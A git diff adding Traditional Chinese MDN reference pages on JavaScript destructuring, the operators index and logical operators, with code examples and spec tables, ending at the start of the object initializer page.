+<pre class="brush: js">const people = [
+  {
+    name: 'Mike Smith',
+    family: {
+      mother: 'Jane Smith',
+      father: 'Harry Smith',
+      sister: 'Samantha Smith'
+    },
+    age: 35
+  },
+  {
+    name: 'Tom Jones',
+    family: {
+      mother: 'Norah Jones',
+      father: 'Richard Jones',
+      brother: 'Howard Jones'
+    },
+    age: 25
+  }
+];
+
+for (const {name: n, family: {father: f}} of people) {
+  console.log('Name: ' + n + ', Father: ' + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"
+</pre>
+
+<h3 id="以物件演算屬性名稱解構">以物件演算屬性名稱解構</h3>
+
+<p>物件演算屬性名稱（像是在 <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">object literals</a>）可以在解構指派式使用。</p>
+
+<pre class="brush: js">let key = 'z';
+let {[key]: foo} = {z: 'bar'};
+
+console.log(foo); // "bar"
+</pre>
+
+<h3 id="在物件解構時使用其餘變數">在物件解構時使用其餘變數</h3>
+
+<p><a class="external external-icon" href="https://github.com/tc39/proposal-object-rest-spread">ECMAScript 中的其餘/展開屬性</a>在 proposal (stage 4) 新增了在解構式內使用<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters">其餘 (rest)</a> 語法的定義。其餘屬性可以收集解構式中沒有指定的屬性值。</p>
+
+<pre class="brush: js">let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
+a; // 10
+b; // 20
+rest; // { c: 30, d: 40 }</pre>
+
+<h3 id="不符合_JavaScript_識別字的屬性名稱">不符合 JavaScript 識別字的屬性名稱</h3>
+
+<p>解構賦值可以透過另一個符合 JavaScript <a href="/zh-TW/docs/Glossary/Identifier">識別字</a>的變數名稱來解出不符合識別字的屬性。</p>
+
+<pre class="brush: js">const foo = { 'fizz-buzz': true };
+const { 'fizz-buzz': fizzBuzz } = foo;
+
+console.log(fizzBuzz); // "true"
+</pre>
+
+<h3 id="混合使用矩陣及物件解構">混合使用矩陣及物件解構</h3>
+
+<p>矩陣及物件解構可以混合進行。與例來說，你只需要使用下列 <code>props</code> 矩陣中第三個元素之物件中的 <code>name</code> 屬性，你可以如下面的例子進行解構：</p>
+
+<pre class="brush: js">const props = [
+  { id: 1, name: 'Fizz'},
+  { id: 2, name: 'Buzz'},
+  { id: 3, name: 'FizzBuzz'}
+];
+
+const [,, { name }] = props;
+
+console.log(name); // "FizzBuzz"
+</pre>
+
+<h3 id="物件解構時的原型鏈追溯">物件解構時的原型鏈追溯</h3>
+
+<p>在進行物件解構時，如果一個屬性不在其當下存取，將會透過原型鏈 (prototype chain) 來進行追溯。</p>
+
+<pre>let obj = {self: '123'};
+obj.__proto__.prot = '456';
+const {self, prot} = obj;
+// self "123"
+// prot "456"（Access to the prototype chain）</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.destructuring")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES6 in Depth: Destructuring" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/index.html b/files/zh-tw/web/javascript/reference/operators/index.html
new file mode 100644
index 0000000000..e6efa9a181
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/index.html
@@ -0,0 +1,301 @@
+---
+title: 運算式與運算子
+slug: Web/JavaScript/Reference/Operators
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - 運算子
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>本章節記錄了所有 JavaScript 運算式、運算子以及關鍵字。</p>
+
+<h2 id="運算式與運算子分類">運算式與運算子分類</h2>
+
+<p>以字母排列的清單請參考左側的側邊欄。</p>
+
+<h3 id="主要運算式">主要運算式</h3>
+
+<p>在 JavaScript 中基本的關鍵字與一般的運算式。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/this", "this")}}</dt>
+ <dd><code>this</code> 關鍵字可以參考執行函數的所在位置。</dd>
+ <dt>{{jsxref("Operators/function", "function")}}</dt>
+ <dd><code>function</code> 關鍵字可以定義一個函數運算式。</dd>
+ <dt>{{jsxref("Operators/class", "class")}}</dt>
+ <dd><code>class</code> 關鍵字可以定義一個類別運算式。</dd>
+ <dt>{{jsxref("Operators/function*", "function*")}}</dt>
+ <dd><code>function*</code> 關鍵字可以定義一個 Generator 函數運算式</dd>
+ <dt>{{jsxref("Operators/yield", "yield")}}</dt>
+ <dd>暫停與繼續一個產生器 (Generator) 函數。</dd>
+ <dt>{{jsxref("Operators/yield*", "yield*")}}</dt>
+ <dd>轉交另一個產生器 (Generator) 函數或可迭代 (Iterable) 的物件。</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/async_function", "async function*")}}</dt>
+ <dd><code>async</code> 函數可以定義一個非同步函數運算式。</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/await", "await")}}</dt>
+ <dd>暫停與繼續一個非同步函數並等候承諾的結果/拒絕。</dd>
+ <dt>{{jsxref("Global_Objects/Array", "[]")}}</dt>
+ <dd>陣列初始化/書寫格式。</dd>
+ <dt>{{jsxref("Operators/Object_initializer", "{}")}}</dt>
+ <dd>物件初始化/書寫格式。</dd>
+ <dt>{{jsxref("Global_Objects/RegExp", "/ab+c/i")}}</dt>
+ <dd>正規表示法書寫格式。</dd>
+ <dt>{{jsxref("Operators/Grouping", "( )")}}</dt>
+ <dd>分組運算子。</dd>
+</dl>
+
+<h3 id="左手邊運算式">左手邊運算式</h3>
+
+<p>左側值為賦值的目標。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Property_accessors", "Property accessors", "", 1)}}</dt>
+ <dd>成員運算子可存取物件的屬性或方法<br>
+ (<code>object.property</code> and <code>object["property"]</code>)。</dd>
+ <dt>{{jsxref("Operators/new", "new")}}</dt>
+ <dd><code>new</code> 運算子可以建立一個建構子 (Constructor) 的實例。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></dt>
+ <dd>在建構子中 <code>new.target</code> 可以參考被 {{jsxref("Operators/new", "new")}} 呼叫的建構子 (Constructor) 。</dd>
+ <dt>{{jsxref("Operators/super", "super")}}</dt>
+ <dd><code>super</code> 關鍵字可以呼叫父建構子 (Constructor) 。</dd>
+ <dt>{{jsxref("Operators/Spread_operator", "...obj")}}</dt>
+ <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd>
+</dl>
+
+<h3 id="遞增與遞減">遞增與遞減</h3>
+
+<p>字尾/字首遞增與字尾/字首遞減運算子。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "A++", "#Increment")}}</dt>
+ <dd>字尾遞增運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "A--", "#Decrement")}}</dt>
+ <dd>字尾遞減運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "++A", "#Increment")}}</dt>
+ <dd>字首遞增運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</dt>
+ <dd>字首遞減運算子。</dd>
+</dl>
+
+<h3 id="一元運算子">一元運算子</h3>
+
+<p>一元運算是指只需要使用一個運算元的運算。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/delete", "delete")}}</dt>
+ <dd><code>delete</code> 運算子可刪除物件中的屬性。</dd>
+ <dt>{{jsxref("Operators/void", "void")}}</dt>
+ <dd><code>void</code> 運算子可放棄一個運算式的回傳值。</dd>
+ <dt>{{jsxref("Operators/typeof", "typeof")}}</dt>
+ <dd><code>typeof</code> 運算子可以判斷一個指定物件的型態。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}</dt>
+ <dd>一元正運算子可以轉換其運算元成為數值 (Number) 型態。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}</dt>
+ <dd>一元負運算子可以轉換其運算元成為數值 (Number) 型態並轉為負值。</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt>
+ <dd>元位 NOT 運算子。</dd>
+ <dt>{{jsxref("Operators/Logical_Operators", "!", "#Logical_NOT")}}</dt>
+ <dd>邏輯 NOT 運算子。</dd>
+</dl>
+
+<h3 id="算術運算子">算術運算子</h3>
+
+<p>算術運算子會要用到數值 (不論是字面值或者變數) 做為運算元，並且會回傳單一數值結果。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Addition")}}</dt>
+ <dd>加法運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Subtraction")}}</dt>
+ <dd>減法運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "/", "#Division")}}</dt>
+ <dd>除法運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "*", "#Multiplication")}}</dt>
+ <dd>乘法運算子。</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "%", "#Remainder")}}</dt>
+ <dd>餘數運算子。</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "**", "#Exponentiation")}}</dt>
+ <dd>指數運算子。</dd>
+</dl>
+
+<h3 id="關係運算子">關係運算子</h3>
+
+<p>比較運算子會比較其運算元並根據比較的結果是否成立回傳一個 <code>Boolean</code> 值的結果。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/in", "in")}}</dt>
+ <dd><code>in</code> 運算子會判斷一個物件是否有指定的屬性。</dd>
+ <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt>
+ <dd><code>instanceof</code> 運算子會判斷一個物件是否為另一個物件的實例。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&lt;", "#Less_than_operator")}}</dt>
+ <dd>小於運算子。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&gt;", "#Greater_than_operator")}}</dt>
+ <dd>大於運算子。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}</dt>
+ <dd>小於等於運算子。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</dt>
+ <dd>大於等於運算子。</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note: =&gt;</strong> is not an operator, but the notation for <a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>.</p>
+</div>
+
+<h3 id="相等運算子">相等運算子</h3>
+
+<p>執行相對運算子後的結果為比較結果是否成立的 <code>Boolean</code> 值。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}</dt>
+ <dd>相等運算子。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "!=", "#Inequality")}}</dt>
+ <dd>不相等運算子。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}</dt>
+ <dd>恆等運算子。</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</dt>
+ <dd>不恆等運算子。</dd>
+</dl>
+
+<h3 id="位元移位運算子">位元移位運算子</h3>
+
+<p>用來位移運算元所有位元的運算。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}</dt>
+ <dd>左移位元運算子。</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}</dt>
+ <dd>右移位元運算子。</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</dt>
+ <dd>右移無號位元運算子。</dd>
+</dl>
+
+<h3 id="二元位元運算子">二元位元運算子</h3>
+
+<p>位元運算子將其運算元當做是 32 位元 (32 個零與一) 的數值處理並回傳標準 JavaScript 數值。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}</dt>
+ <dd>位元 AND。</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt>
+ <dd>位元 OR。</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt>
+ <dd>位元 XOR。</dd>
+</dl>
+
+<h3 id="二元邏輯運算子">二元邏輯運算子</h3>
+
+<p>邏輯運算子一般用在處理布林 (邏輯) 值，它們存在的地方會回傳一個布林 (Boolean) 值。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}</dt>
+ <dd>邏輯 AND。</dd>
+ <dt>{{jsxref("Operators/Logical_Operators", "||", "#Logical_OR")}}</dt>
+ <dd>邏輯 OR。</dd>
+</dl>
+
+<h3 id="條件_(三元)_運算子">條件 (三元) 運算子</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
+ <dd>
+ <p>條件運算子會根據條件的邏輯值判斷並回傳其中一個值。</p>
+ </dd>
+</dl>
+
+<h3 id="賦值運算子">賦值運算子</h3>
+
+<p>賦值運算子會根據其右側運算元的數值處理後賦值給其左側的運算元。</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Assignment_Operators", "=", "#Assignment")}}</dt>
+ <dd>賦值運算子。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt>
+ <dd>乘法賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "/=", "#Division_assignment")}}</dt>
+ <dd>除法賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt>
+ <dd>餘數賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}</dt>
+ <dd>加法賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt>
+ <dd>減法賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}</dt>
+ <dd>左移賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}</dt>
+ <dd>右移賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}</dt>
+ <dd>無號右移賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}</dt>
+ <dd>位元 AND 賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt>
+ <dd>位元 XOR 賦值。</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt>
+ <dd>位元 OR 賦值。</dd>
+ <dt>{{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>解構賦值讓您可使用如陣列或物件書寫格式來賦值給陣列或物件的屬性。</p>
+ </dd>
+</dl>
+
+<h3 id="逗號運算子">逗號運算子</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
+ <dd>逗號運算子允許在一個敘述句中執行多個運算式並回傳最後一個運算式的結果。</dd>
+</dl>
+
+<h3 id="非標準功能">非標準功能</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt>
+ <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}}</dt>
+ <dd>The expression closure syntax is a shorthand for writing simple function.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
+ <dd>Array comprehensions.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
+ <dd>Generator comprehensions.</dd>
+</dl>
+
+<h2 id="技術規格">技術規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">技術規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11', 'Expressions')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New: Spread operator, destructuring assignment, <code>super</code> keyword.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相關文獻">相關文獻</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Operator precedence</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/logical_operators/index.html b/files/zh-tw/web/javascript/reference/operators/logical_operators/index.html
new file mode 100644
index 0000000000..9a7138244c
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/logical_operators/index.html
@@ -0,0 +1,243 @@
+---
+title: Logical operators
+slug: Web/JavaScript/Reference/Operators/Logical_Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>邏輯運算子通常會搭配 {{jsxref("Boolean")}} (logical) 值。若是，則回傳布林值。然而， <code>&amp;&amp;</code> 和 <code>||</code>  運算子通常回傳其中一運算元的值, 因此若這些運算子搭配非布林值使用，他們會回傳非布林值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}</div>
+
+
+
+<h2 id="說明">說明</h2>
+
+<p>邏輯運算子的使用方式如下(<code><em>expr</em></code> 可能會是 <a href="/en-US/docs/Glossary/Data_structure">type</a>，不只是布林值)：</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Operator</th>
+   <th>Syntax</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>邏輯 AND (<code>&amp;&amp;</code>)</td>
+   <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+   <td>若 <code>expr<strong>1</strong></code> 可被轉換成 <code>true</code>, 回傳 <code>expr<strong>2</strong></code>; 否則 回傳 <code>expr<strong>1</strong></code>.</td>
+  </tr>
+  <tr>
+   <td>邏輯 OR (<code>||</code>)</td>
+   <td><code><em>expr1</em> || <em>expr2</em></code></td>
+   <td>若 <code>expr<strong>1</strong></code> 可被轉換成 <code>true</code>, 回傳 <code>expr<strong>1</strong></code>; 否則 回傳 <code>expr<strong>2</strong></code>.</td>
+  </tr>
+  <tr>
+   <td>邏輯 NOT (<code>!</code>)</td>
+   <td><code>!<em>expr</em></code></td>
+   <td>回傳 <code>false</code> 若它的單一運算元可被轉換成 <code>true</code>; 否則回傳 <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>If a value can be converted to <code>true</code>, the value is so-called {{Glossary("truthy")}}. If a value can be converted to <code>false</code>, the value is so-called {{Glossary("falsy")}}.</p>
+
+<p>Examples of expressions that can be converted to false are:</p>
+
+<ul>
+ <li><code>null</code>;</li>
+ <li><code>NaN</code>;</li>
+ <li><code>0</code>;</li>
+ <li>empty string (<code>""</code> or <code>''</code> or <code>``</code>);</li>
+ <li><code>undefined</code>.</li>
+</ul>
+
+<p>Even though the <code>&amp;&amp;</code> and <code>||</code> operators can be used with operands that are not Boolean values, they can still be considered boolean operators since their return values can always be converted to <a href="/en-US/docs/Web/JavaScript/Data_structures#Boolean_type">boolean primitives</a>. To explicitly convert their return value (or any expression in general) to the corresponding boolean value, use a double <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">NOT operator</a> or the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a> constructor.</p>
+
+<h3 id="Short-circuit_evaluation">Short-circuit evaluation</h3>
+
+<p>As logical expressions are evaluated left to right, they are tested for possible "short-circuit" evaluation using the following rules:</p>
+
+<ul>
+ <li><code>(some falsy expression) &amp;&amp; <em>expr</em></code> is short-circuit evaluated to the falsy expression;</li>
+ <li><code>(some truthy expression) || <em>expr</em></code> is short-circuit evaluated to the truthy expression.</li>
+</ul>
+
+<p>Short circuit means that the <em>expr</em> parts above are <strong>not evaluated</strong>, hence any side effects of doing so do not take effect (e.g., if <em>expr</em> is a function call, the calling never takes place). This happens because the value of the operator is already determined after the evaluation of the first operand. See example:</p>
+
+<pre class="brush: js">function A(){ console.log('called A'); return false; }
+function B(){ console.log('called B'); return true; }
+
+console.log( A() &amp;&amp; B() );
+// logs "called A" due to the function call,
+// then logs false (which is the resulting value of the operator)
+
+console.log( B() || A() );
+// logs "called B" due to the function call,
+// then logs true (which is the resulting value of the operator)
+</pre>
+
+<h3 id="Operator_precedence">Operator precedence</h3>
+
+<p>The following expressions might seem equivalent, but they are not, because the <code>&amp;&amp;</code> operator is executed before the <code>||</code> operator (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a>).</p>
+
+<pre class="brush: js">true || false &amp;&amp; false      // returns true, because &amp;&amp; is executed first
+(true || false) &amp;&amp; false    // returns false, because operator precedence cannot apply</pre>
+
+<h3 id="Logical_AND_()"><a name="Logical_AND">Logical AND (<code>&amp;&amp;</code>)</a></h3>
+
+<p>The following code shows examples of the <code>&amp;&amp;</code> (logical AND) operator.</p>
+
+<pre class="brush: js">a1 = true  &amp;&amp; true       // t &amp;&amp; t returns true
+a2 = true  &amp;&amp; false      // t &amp;&amp; f returns false
+a3 = false &amp;&amp; true       // f &amp;&amp; t returns false
+a4 = false &amp;&amp; (3 == 4)   // f &amp;&amp; f returns false
+a5 = 'Cat' &amp;&amp; 'Dog'      // t &amp;&amp; t returns "Dog"
+a6 = false &amp;&amp; 'Cat'      // f &amp;&amp; t returns false
+a7 = 'Cat' &amp;&amp; false      // t &amp;&amp; f returns false
+a8 = ''    &amp;&amp; false      // f &amp;&amp; f returns ""
+a9 = false &amp;&amp; ''         // f &amp;&amp; f returns false
+</pre>
+
+<h3 id="Logical_OR_()"><a name="Logical_OR">Logical OR (<code>||</code>)</a></h3>
+
+<p>The following code shows examples of the <code>||</code> (logical OR) operator.</p>
+
+<pre class="brush: js">o1 = true  || true       // t || t returns true
+o2 = false || true       // f || t returns true
+o3 = true  || false      // t || f returns true
+o4 = false || (3 == 4)   // f || f returns false
+o5 = 'Cat' || 'Dog'      // t || t returns "Cat"
+o6 = false || 'Cat'      // f || t returns "Cat"
+o7 = 'Cat' || false      // t || f returns "Cat"
+o8 = ''    || false      // f || f returns false
+o9 = false || ''         // f || f returns ""
+o10 = false || varObject // f || object returns varObject
+</pre>
+
+<h3 id="Logical_NOT_(!)"><a name="Logical_NOT">Logical NOT (<code>!</code>)</a></h3>
+
+<p>The following code shows examples of the <code>!</code> (logical NOT) operator.</p>
+
+<pre class="brush: js">n1 = !true               // !t returns false
+n2 = !false              // !f returns true
+n3 = !''                 // !f returns true
+n4 = !'Cat'              // !t returns false
+</pre>
+
+<h4 id="Double_NOT_(!!)">Double NOT (<code>!!</code>)</h4>
+
+<p>It is possible to use a couple of NOT operators in series to explicitly force the conversion of any value to the corresponding <a href="/en-US/docs/Web/JavaScript/Data_structures#Boolean_type">boolean primitive</a>. The conversion is based on the "truthyness" or "falsyness" of the value (see {{Glossary("truthy")}} and {{Glossary("falsy")}}).</p>
+
+<p>The same conversion can be done through the {{jsxref("Boolean")}} function.</p>
+
+<pre class="brush: js">n1 = !!true                   // !!truthy returns true
+n2 = !!{}                     // !!truthy returns true: <strong>any</strong> object is truthy...
+n3 = !!(new Boolean(false))   // ...even Boolean objects with a false <em>.valueOf()</em>!
+n4 = !!false                  // !!falsy returns false
+n5 = !!""                     // !!falsy returns false
+n6 = !!Boolean(false)         // !!falsy returns false
+</pre>
+
+<h3 id="Conversion_rules_for_booleans">Conversion rules for booleans</h3>
+
+<h4 id="Converting_AND_to_OR">Converting AND to OR</h4>
+
+<p>The following operation involving <strong>booleans</strong>:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; bCondition2</pre>
+
+<p>is always equal to:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre>
+
+<h4 id="Converting_OR_to_AND">Converting OR to AND</h4>
+
+<p>The following operation involving <strong>booleans</strong>:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2</pre>
+
+<p>is always equal to:</p>
+
+<pre class="brush: js">!(!bCondition1 &amp;&amp; !bCondition2)</pre>
+
+<h4 id="Converting_between_NOTs">Converting between NOTs</h4>
+
+<p>The following operation involving <strong>booleans</strong>:</p>
+
+<pre class="brush: js">!!bCondition</pre>
+
+<p>is always equal to:</p>
+
+<pre class="brush: js">bCondition</pre>
+
+<h3 id="Removing_nested_parentheses">Removing nested parentheses</h3>
+
+<p>As logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression following some rules.</p>
+
+<h4 id="Removing_nested_AND">Removing nested AND</h4>
+
+<p>The following composite operation involving <strong>booleans</strong>:</p>
+
+<pre class="brush: js">bCondition1 || (bCondition2 &amp;&amp; bCondition3)</pre>
+
+<p>is always equal to:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2 &amp;&amp; bCondition3</pre>
+
+<h4 id="Removing_nested_OR">Removing nested OR</h4>
+
+<p>The following composite operation involving <strong>booleans</strong>:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; (bCondition2 || bCondition3)</pre>
+
+<p>is always equal to:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2 &amp;&amp; !bCondition3)</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.logical")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise operators</a></li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li><a href="/en-US/docs/Glossary/Truthy">Truthy</a></li>
+ <li><a href="/en-US/docs/Glossary/Falsy">Falsy</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/object_initializer/index.html b/files/zh-tw/web/javascript/reference/operators/object_initializer/index.html
new file mode 100644
index 0000000000..c8e4308f32
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/object_initializer/index.html
@@ -0,0 +1,431 @@
+---
+title: Object initializer
+slug: Web/JavaScript/Reference/Operators/Object_initializer
+translation_of: Web/JavaScript/Reference/Operators/Object_initializer
+---
+<div>{{JsSidebar("Operators")}}</div>
+
